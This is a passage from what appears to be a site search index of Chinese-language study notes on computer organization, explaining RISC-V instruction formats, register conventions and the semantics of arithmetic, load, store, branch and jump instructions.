<li>\u7a0b\u5e8f\u53ef\u4ee5\u50cf\u6570\u5b57\u4e00\u6837\u5b58\u50a8\u5728\u5185\u5b58\u4e2d\uff0c\u4ee5\u4fbf\u8bfb\u53d6\u6216\u5199\u5165\u3002</li> </ul> <p>\u56db\u4e2a\u8bbe\u8ba1\u7406\u5ff5\uff1a</p> <ol> <li>Simplicity favors regularity \u6307\u4ee4\u96c6\u7684\u8bbe\u8ba1\u5e94\u8be5\u5c3d\u53ef\u80fd\u7b80\u5355\uff0c\u89c4\u5219\u3002</li> <li>Smaller is faster \u5c3d\u53ef\u80fd\u51cf\u5c11\u6307\u4ee4\u96c6\u7684\u5927\u5c0f\uff0c\u4ee5\u4fbf\u63d0\u9ad8\u901f\u5ea6\u3002</li> <li>Good design demands good compromises \u8bbe\u8ba1\u6307\u4ee4\u96c6\u65f6\uff0c\u9700\u8981\u6743\u8861\u5404\u79cd\u56e0\u7d20\u3002</li> <li>Make the common case fast \u4f18\u5316\u5e38\u89c1\u60c5\u51b5\u7684\u6267\u884c\u901f\u5ea6\u3002</li> </ol> <p>\u5f53\u8bbe\u8ba1ISA\u65f6\uff0c\u9700\u8981**\u786c\u4ef6\u7b80\u5355--\u8ba9\u82af\u7247\u53ea\u5b9e\u73b0\u57fa\u672c\u7684\u539f\u8bed\u5e76\u80fd\u5feb\u901f\u8fd0\u884c**\uff0c\u6307\u4ee4\u8981\u89c4\u6574</p>"},{"location":"NOTE/CO/wk3/#instruction-characteristics","title":"Instruction characteristics","text":"<p>\u6307\u4ee4\u96c6\u7684\u57fa\u672c\u7ed3\u6784</p> <p>operator+operands</p> <p>Note</p> <p>\u4e0d\u540c\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5b57\u7684\u957f\u5ea6\u4e0d\u540c\uff0c\u6bd4\u598232\u4f4d\u7cfb\u7edf\uff0c\u5b57\u957f\u4e3a32\u4f4d(4 Byte)\uff0c64\u4f4d\u7cfb\u7edf\uff0c\u5b57\u957f\u4e3a64\u4f4d(8 Byte)\u3002</p> <p>\u8fb9\u754c\u5bf9\u9f50\u9001\u5730\u5740\uff0c\u6700\u540e\u4e24\u4f4d\u662f00</p>"},{"location":"NOTE/CO/wk3/#risc-v","title":"RISC-V \u6307\u4ee4\u96c6","text":"\u5bc4\u5b58\u5668 ABI \u540d\u79f0 \u7528\u9014\u63cf\u8ff0 saver x0 zero \u786c\u4ef6 0 x1 ra \u8fd4\u56de\u5730\u5740\uff08return address\uff09 caller x2 sp \u6808\u6307\u9488\uff08stack pointer\uff09 callee x3 gp \u5168\u5c40\u6307\u9488\uff08global pointer\uff09 x4 tp \u7ebf\u7a0b\u6307\u9488\uff08thread pointer\uff09 x5 t0 \u4e34\u65f6\u53d8\u91cf/\u5907\u7528\u94fe\u63a5\u5bc4\u5b58\u5668\uff08alternate link reg\uff09 caller x6-7 t1-2 \u4e34\u65f6\u53d8\u91cf caller x8 s0/fp \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668/\u5e27\u6307\u9488\uff08frame pointer\uff09 callee x9 s1 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x10-11 a0-1 \u51fd\u6570\u53c2\u6570/\u8fd4\u56de\u503c caller x12-17 a2-7 \u51fd\u6570\u53c2\u6570 caller x18-27 s2-11 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x28-31 t3-6 \u4e34\u65f6\u53d8\u91cf caller <p>RISC-V \u6307\u4ee4\u96c6\u7684\u7c7b\u578b</p> R-typeI-typeS-typeB-typeU-typeJ-type <p>R-type\u6307\u4ee4\u662f\u6307\u4ee4\u96c6\u4e2d\u7684\u4e00\u79cd\u7c7b\u578b\uff0c\u5b83\u4eec\u7684\u64cd\u4f5c\u7801\u5b57\u6bb5\u662f\u56fa\u5b9a\u7684\uff0c\u800c\u5269\u4f59\u7684\u5b57\u6bb5\u5219\u6839\u636e\u6307\u4ee4\u7684\u5177\u4f53\u529f\u80fd\u800c\u53d8\u5316\u3002R-type\u6307\u4ee4\u901a\u5e38\u7528\u4e8e\u6267\u884c\u7b97\u672f\u8fd0\u7b97\u548c\u903b\u8f91\u8fd0\u7b97\u7b49\u64cd\u4f5c;R-type\u6307\u4ee4\u7684\u683c\u5f0f\u5982\u4e0b\u6240\u793a\uff1a  31 25 24 20 19 15 14 12 11 7 6 0 funct7 rs2 rs1 funct3 rd opcode </p> <p><code>rd = rs1 op rs2</code>,\u6709\u65f6\u5019<code>rs1</code>,<code>rs2</code>,\u53c8\u79f0\u4e3a<code>rs</code>,<code>rt</code></p> R-type\u6307\u4ee4 Instruction Name Meaning ADD Addition Adds two values and stores the result in the destination register. SUB Subtraction Subtracts the second value from the first and stores the result in the destination register. SLT Set Less Than Sets the destination register to 1 if the first value is less than the second (signed), otherwise sets to 0. SLTU Set Less Than Unsigned Sets the destination register to 1 if the first value is less than the second (unsigned), otherwise sets to 0. AND Logical AND Performs a bitwise AND operation between two values and stores the result in the destination register. OR Logical OR Performs a bitwise OR operation between two values and stores the result in the destination register. XOR Logical XOR Performs a bitwise XOR (exclusive OR) operation between two values and stores the result. SLL Shift Left Logical Shifts the bits of the first value to the left by the number of positions specified by the second value, filling with zeros. SRL Shift Right Logical Shifts the bits of the first value to the right by the number of positions specified, filling with zeros. SRA Shift Right Arithmetic Shifts the bits of the first value to the right by the number of positions specified, maintaining the sign bit. <p>\u5e38\u89c1\u7684R-type\u6307\u4ee4</p> ADDSUBSLTSLTUANDORXORSLLSRLSRA <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 000 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>ADD rd,rs1,rs2</code> <code>rd = rs1 + rs2</code></li> <li>\u6ea2\u51fa\u5c06\u4f1a\u88ab\u5ffd\u7565</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 rs2 rs1 000 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SUB rd,rs1,rs2</code> <code>rd = rs1 - rs2</code></li> <li>\u6ea2\u51fa\u5c06\u4f1a\u88ab\u5ffd\u7565</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 010 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLT rd,rs1,rs2</code> <code>rd = ($signed(rs1) &lt; $signed(rs2)) ? 1 : 0</code></li> <li>\u6709\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 011 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLTU rd,rs1,rs2</code> <code>rd = (rs1 &lt; rs2) ? 1 : 0</code></li> <li>\u8fdb\u884c\u65e0\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 111 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>AND rd,rs1,rs2</code> <code>rd = rs1 &amp; rs2</code></li> <li>\u6309\u4f4d\u7684\u4e0e\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 110 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>OR rd,rs1,rs2</code> <code>rd = rs1 | rs2</code></li> <li>\u6267\u884c\u6309\u4f4d\u6216\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 100 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>XOR rd,rs1,rs2</code> <code>rd = rs1 ^ rs2</code></li> <li>\u6267\u884c\u6309\u4f4d\u5f02\u6216\u64cd\u4f5c</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 001 rd 0110011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>SLL rd,rs1,rs2</code> <code>rd = rs1 &lt;&lt; rs2[4:0]</code></li> <li>\u903b\u8f91\u5de6\u79fb</li> <li>\u53d6<code>rs2</code>\u7684\u4f4e\u4e94\u4f4d\u8fdb\u884c\u8fd0\u7b97</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 rs2 rs1 101 rd 0110011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f: <code>srl rd,rs1,rs2</code>,<code>rd=rs1&gt;&gt;rs2[4:0]</code></li> <li>\u53d6 <code>rs2</code> \u7684\u4f4e5\u4f4d</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 rs2 rs1 101 rd 0110011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f<code>sra rd,rs1,rs2</code>;<code>rd = $signed(rs1) &gt;&gt;&gt; rs2[4:0]</code></li> <li>\u7b97\u6570\u53f3\u79fb\uff0c\u9ad8\u4f4d\u8865\u7b26\u53f7\u4f4d(\u4e3a\u4ec0\u4e48\u6ca1\u6709\u7b97\u6570\u5de6\u79fb,\u56e0\u4e3a\u6ca1\u610f\u4e49) </li> </ul> <p>\u4f7f\u7528\u5bc4\u5b58\u5668\u548c\u7acb\u5373\u6570\u8fdb\u884c\u6570\u5b57\u903b\u8f91\u8fd0\u7b97\uff0c\u4ee5\u53ca load \u7c7b\u6307\u4ee4\u7b49\u7684\u6307\u4ee4\u683c\u5f0f\u5982\u4e0b\uff1a  31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 funct3 rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a  <pre><code> imm={{20{inst[31]}}, inst[31:20]}\n</code></pre> \u5373\u5c06\u7acb\u5373\u6570\u7684\u6700\u9ad8\u4f4d\u7b26\u53f7\u4f4d\u8fdb\u884c\u6269\u5c55\u523032\u4f4d</p> <p>\u5e38\u89c1\u7684I-type\u6307\u4ee4</p> ADDISLTISLTIUANDIORIXORISLLISRLISRAIJALRLBlhLWLBULHUecallebreak <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 0010011 </p> <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1a<code>addi rd, rs1, imm</code> <code>rd = rs1 + imm</code></li> <li><code>imm</code>  \u8303\u56f4\u4e3a12\u4f4d\u6709\u7b26\u53f7\u6570\u5b57-2048~2047</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 010 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>slti rd,rs1,imm</code> <code>rd = ($signed(rs1) &lt; $signed(imm)) ? 1 : 0</code></li> <li>\u6709\u7b26\u53f7\u6570\u7684\u6bd4\u8f83</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 011 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sltiu rd,rs1,imm</code> <code>rd = (rs1 &lt; imm) ? 1 : 0</code></li> <li>\u8fdb\u884c\u65e0\u7b26\u53f7\u6570\u7684\u6bd4\u8f83,<code>rs1</code>\u548c<code>imm</code>\u90fd\u662f\u65e0\u7b26\u53f7\u6570</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 111 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>andi rd,rs1,imm</code> <code>rd = rs1 &amp; imm</code></li> <li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 110 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>ori rd,rs1,imm</code> <code>rd = rs1 | imm</code></li> <li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 100 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>xori rd,rs1,imm</code> <code>rd = rs1 ^ imm</code></li> <li><code>imm</code>\u8303\u56f4\u5728-2048~2047\uff0c\u4f4d\u6570\u4e0d\u591f\u65f6\u4f1a\u6269\u5c55\u7b26\u53f7\u4f4d</li> <li>\u9700\u8981\u6ce8\u610f\u7684\u662f<code>xori rd,rs1,-1</code>\u7b49\u4ef7\u4e8e\u4e0e\u51681\u5f02\u6216:<code>rd=~rs1</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 shamt rs1 001 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>slli rd,rs1,shamt</code> <code>rd = rs1 &lt;&lt; shamt</code></li> <li>\u903b\u8f91\u5de6\u79fb</li> <li><code>shmat</code>\u5728\u539f\u6765<code>rs2</code>\u7684\u4f4d\u7f6e\u4e0a,\u4e3a\u4e94\u4f4d\u7acb\u5373\u6570\uff1b\u6b64\u65f6\u7a7a\u51fa\u6765\u76f8\u5f53\u4e8e\u539f\u6765\u7684<code>func7</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0000000 shamt rs1 101 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>srli rd,rs1,shamt</code> <code>rd = rs1 &gt;&gt; shamt</code></li> <li>\u903b\u8f91\u53f3\u79fb</li> <li><code>shmat</code>\u5728\u539f\u6765<code>rs2</code>\u7684\u4f4d\u7f6e\u4e0a,\u4e3a\u4e94\u4f4d\u7acb\u5373\u6570\uff1b\u6b64\u65f6\u7a7a\u51fa\u6765\u76f8\u5f53\u4e8e\u539f\u6765\u7684<code>func7</code></li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 0100000 shamt rs1 101 rd 0010011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>srai rd,rs1,shamt</code> <code>rd = $signed(rs1) &gt;&gt;&gt; shamt</code></li> <li>\u7b97\u6570\u53f3\u79fb\uff0c\u9ad8\u4f4d\u8865\u7b26\u53f7\u4f4d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 1100111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>jalr rd,rs1,imm</code> <code>rd = pc+4; pc = (rs1 + imm) &amp; ~1</code>,\u5373\u6700\u4f4e\u4f4d\u4e3a0</li> <li>\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u4f4d\u7f6e\u7684\u8df3\u8f6c</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 000 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lb rd,imm(rs1)</code> <code>rd = {{24M[rs1+imm][7]},M[rs1 + imm][7:0]}</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u7b26\u53f7\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 001 rd 0000011 </p> <ul> <li> <p>\u4f7f\u7528\u683c\u5f0f <code>lh rd,imm(rs1)</code> <code>rd = {{16M[rs1+imm][15]},M[rs1 + imm][15:0]}</code></p> </li> <li> <p>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u534a\u5b57\u7684\u6570\u636e\uff0c\u5b58\u5230<code>rd</code>\u7684\u4f4e16\u4f4d\uff0c\u7b26\u53f7\u6269\u5c55\u523032\u4f4d</p> </li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 010 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lw rd,imm(rs1)</code> <code>rd = M[rs1 + imm]</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u7684\u6570\u636e\uff0c\u5b58\u5230<code>rd</code>\u4e2d</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 100 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lbu rd,imm(rs1)</code>  `rd = M[rs1 + imm][7:0]</li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u96f6\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d(\u9ad8\u4f4d\u51680)  </li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 101 rd 0000011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lhu rd,imm(rs1)</code> <code>rd = M[rs1 + imm][15:0]</code></li> <li>\u4ece\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904\u8bfb\u53d6\u4e00\u4e2a\u534a\u5b57\u7684\u6570\u636e\uff0c\u96f6\u6269\u5c55\u523032\u4f4d\uff0c\u5b58\u5230<code>rd</code>\u4e2d(\u9ad8\u4f4d\u51680)</li> </ul> <p> 31 20 19 15 14 12 11 7 6 0 000000000000 00000 000 00000 1110011   - \u4f7f\u7528\u683c\u5f0f <code>ecall</code> <code>\u7cfb\u7edf\u8c03\u7528</code></p> <p> 31 20 19 15 14 12 11 7 6 0 000000000001 00000 000 00000 1110011   - \u4f7f\u7528\u683c\u5f0f<code>ebreak</code> ,\u5c06\u63a7\u5236\u6d41\u8f6c\u5230\u8c03\u8bd5\u73af\u5883</p> <p>store \u7c7b\u6307\u4ee4\uff0c\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u6570\u636e\u5b58\u50a8\u5230\u5185\u5b58\u4e2d\uff0c\u5b58\u50a8\u7684\u5927\u5c0f\u7531<code>func3</code>\u51b3\u5b9a,\u6ca1\u6709<code>rd</code>\u5bc4\u5b58\u5668  31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 funct3 imm[4:0] opcode  \u7acb\u5373\u6570\u4e3a <pre><code>imm = {{20{inst[31]}}, inst[31:25], inst[11:7]}\n</code></pre> \u5c06<code>rd</code>\u76845\u4f4d\u548c<code>func7</code>\u76847\u4f4d\u4e00\u517112\u4f4d\u7ec4\u5408\u6210\u4e00\u4e2a\u7acb\u5373\u6570</p> <p>\u5e38\u7528\u7684S-type\u6307\u4ee4</p> SBSHSW <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 000 imm[4:0] 0100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sb rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2[7:0]</code></li> <li>\u5c06<code>rs2</code>\u7684\u4f4e8\u4f4d\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 001 imm[4:0] 0100011   - \u4f7f\u7528\u683c\u5f0f <code>sh rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2[15:0]</code> - \u5c06<code>rs2</code>\u7684\u4f4e16\u4f4d\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</p> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 010 imm[4:0] 0100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>sw rs2,imm(rs1)</code> <code>M[rs1 + imm] = rs2</code></li> <li>\u5c06<code>rs2</code>\u5b58\u5230\u5185\u5b58\u7684<code>rs1+imm</code>\u5730\u5740\u5904</li> </ul> <p>\u5728RISC-V\u6307\u4ee4\u96c6\u4e2d\uff0cB\u578b\uff08B-type\uff09\u6307\u4ee4\u7528\u4e8e\u6761\u4ef6\u5206\u652f\uff0c\u6839\u636e\u6bd4\u8f83\u7ed3\u679c\u51b3\u5b9a\u662f\u5426\u8df3\u8f6c\u5230\u6307\u5b9a\u7684\u504f\u79fb\u5730\u5740\u3002B\u578b\u6307\u4ee4\u901a\u5e38\u5305\u542b\u4e24\u4e2a\u5bc4\u5b58\u5668\u8fdb\u884c\u6bd4\u8f83\u4ee5\u53ca\u4e00\u4e2a\u7acb\u5373\u6570\u504f\u79fb\u91cf\uff08\u8868\u793a\u8df3\u8f6c\u7684\u8ddd\u79bb\uff09\u3002  31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 funct3 imm[4:1,11] opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{19{inst[31]}}, inst[31], inst[7], inst[30:25], inst[11:8], 1'b0}\n</code></pre> \u6700\u4f4e\u4f4d\u4e3a0\uff0c\u4e0d\u5b58\uff1b\u6269\u5c55\u5230imm[12]\u4f4d\uff1b\u5c0613\u4f4d\u62fc\u63a5\u5b8c\u540e\uff0c\u5269\u4e0b\u9ad819\u4f4d\u7528<code>inst[31]</code>\u7b26\u53f7\u4f4d\u586b\u5145,\u6b64\u65f6imm[11]\u53ef\u4ee5\u4e0d\u662f\u7b26\u53f7\u4f4d\uff1bimm[12]\u662f\u7b26\u53f7\u4f4d</p> <p>\u5e38\u7528\u7684B-type\u6307\u4ee4</p> BEQBNEBLTBGEBLTUBGEU <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 000 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>beq rs1,rs2,imm</code> <code>if(rs1 == rs2) pc = pc + imm</code></li> <li>\u53ef\u4ee5\u8df3\u8f6c\u5230\\(\\pm 2^{12}Byte\\)\u7684\u4f4d\u7f6e,\u5373\\(\\pm 4KiB\\)</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 001 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bne rs1,rs2,imm</code> <code>if(rs1 != rs2) pc = pc + imm</code></li> <li>\u53ef\u4ee5\u8df3\u8f6c\u5230\\(\\pm 2^{12}Byte\\)\u7684\u4f4d\u7f6e,\u5373\\(\\pm 4KiB\\)</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 100 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>blt rs1,rs2,imm</code> <code>if($signed(rs1) &lt; $signed(rs2)) pc = pc + imm</code></li> <li>\u6709\u7b26\u53f7\u6570           </li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 101 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bge rs1,rs2,imm</code> <code>if($signed(rs1) &gt;= $signed(rs2)) pc = pc + imm</code></li> <li>\u6709\u7b26\u53f7\u6570</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 110 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bltu rs1,rs2,imm</code> <code>if(rs1 &lt; rs2) pc = pc + imm</code></li> <li>\u65e0\u7b26\u53f7\u6570\u6bd4\u8f83</li> </ul> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 111 imm[4:1,11] 1100011 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f:<code>bgeu rs1,rs2,imm</code> <code>if(rs1 &gt;= rs2) pc = pc + imm</code></li> <li>\u65e0\u7b26\u53f7\u6570\u6bd4\u8f83</li> </ul> <p> 31 12 11 7 6 0 imm[31:12] rd opcode </p> <p>\u6ca1\u6709\u6e90\u64cd\u4f5c\u6570\uff0c\u53ea\u6709\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u7acb\u5373\u6570\u4e3a <pre><code>imm={inst[31:12], 12'b0}\n</code></pre></p> <p>U-type\u6307\u4ee4</p> LUIAUIPC <p> 31 12 11 7 6 0 imm[31:12] rd 0110111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>lui rd,imm</code> <code>rd = imm &lt;&lt; 12</code></li> <li>\u5c06<code>imm</code>\u4f4d\u5b58\u5165<code>rd</code>\u9ad820\u4f4d</li> <li><code>imm</code>\u4e0d\u80fd\u8d85\u8fc720\u4f4d</li> </ul> <p> 31 12 11 7 6 0 imm[31:12] rd 0010111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>auipc rd,imm</code> <code>rd = pc + imm &lt;&lt; 12</code></li> <li>aupic\u610f\u601d\u662fadd upper immediate to pc\uff0c\u5c06imm \u52a0\u8f7d\u5230\u9ad8 20 \u4f4d\uff0c\u7136\u540e\u52a0\u4e0a pc \u503c</li> <li><code>imm</code>\u4e0d\u80fd\u8d85\u8fc720\u4f4d</li> </ul> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{11{inst[31]}}, inst[31], inst[19:12], inst[20], inst[30:21], 1'b0}\n</code></pre> <code>imm</code>\u6700\u4f4e\u4f4d0\u4e0d\u5b58\uff0c\u6b64\u65f6<code>imm[20]</code>\u662f\u7b26\u53f7\u4f4d\uff0c<code>imm</code>\u76f8\u5f53\u4e8e21\u4f4d\u6709\u7b26\u53f7\u6570 ,\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}\\)</p> <p>JAL\u6307\u4ee4</p> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd 1101111 </p> <ul> <li>\u4f7f\u7528\u683c\u5f0f <code>jal rd,imm</code> <code>rd = pc + 4; pc = pc + imm</code></li> <li>\u5c06<code>pc+4</code>\u5b58\u5165<code>rd</code>\uff0c\u7136\u540e\u8df3\u8f6c\u5230<code>pc+imm</code>\u5904</li> <li>Jal\u6307\u4ee4\u7684\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}Byte\\)\uff0c\u5373\\(\\pm 1MiB\\)</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/","title":"\u8349\u7a3f","text":"<p> \u7ea6 443 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#_1","title":"\u6570\u636e\u52a0\u8f7d\u6307\u4ee4","text":"lui U \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1alui imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08load upper immediate\uff09rd = imm &lt;&lt; 12 \u5c06 imm \u52a0\u8f7d\u5230 rd \u7684\u9ad8 20 \u4f4d</li> <li>\u6ce8\u610f\uff1aimm \u4e0d\u80fd\u8d85\u8fc7 20 \u4f4d\uff0crd \u4ee5\u5341\u516d\u8fdb\u5236\u8868\u793a\u5c31\u662f imm \u540e\u63a5\u4e09\u4e2a 0</li> </ul> auipc U \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1aauipc rd</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08add upper immediate with pc\uff09rd = pc + imm &lt;&lt; 12 \u5c06 imm \u52a0\u8f7d\u5230\u9ad8 20 \u4f4d\uff0c\u7136\u540e\u52a0\u4e0a pc \u503c</li> <li>\u6ce8\u610f\uff1a\u5e38\u7528\u6765\u6784\u5efa pc \u76f8\u5bf9\u5bfb\u5740\u7684\u5730\u5740\uff0cimm \u4e0d\u80fd\u8d85\u8fc7 20 \u4f4d</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#_2","title":"\u63a7\u5236\u6d41\u53d8\u5316\u6307\u4ee4","text":""},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#jump","title":"jump \u7c7b\u65e0\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4","text":"jal J \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ajal rd, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08jump and link\uff09rd = pc+4, pc = pc+imm \u5373\u5c06\u5f53\u524d\u6307\u4ee4\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\u5b58\u5165 rd\uff0c\u7136\u540e\u76f8\u5bf9\u8df3\u8f6c\u5230 imm \u5904</li> <li>\u6ce8\u610f\uff1aimm \u5728\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u4e00\u822c\u7528\u6807\u53f7\u6765\u6307\u5b9a\uff0cjal \u53ef\u4ee5\u8df3\u5230 \u00b11MiB \u8303\u56f4\u5185\u7684\u4ee3\u7801</li> </ul> jalr I \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ajalr rd, imm(rs1)</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1ard = pc+4, pc = (imm+rs1) &amp; 0xFFFFFFFE \u5373\u6700\u4f4e\u4f4d\u4f1a\u88ab\u8bbe\u4e3a 0</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u4f4d\u7f6e\u8df3\u8f6c</li> </ul>"},{"location":"NOTE/CO/%E8%8D%89%E7%A8%BF/#branch","title":"branch \u7c7b\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4","text":"beq B \u578b <ul> 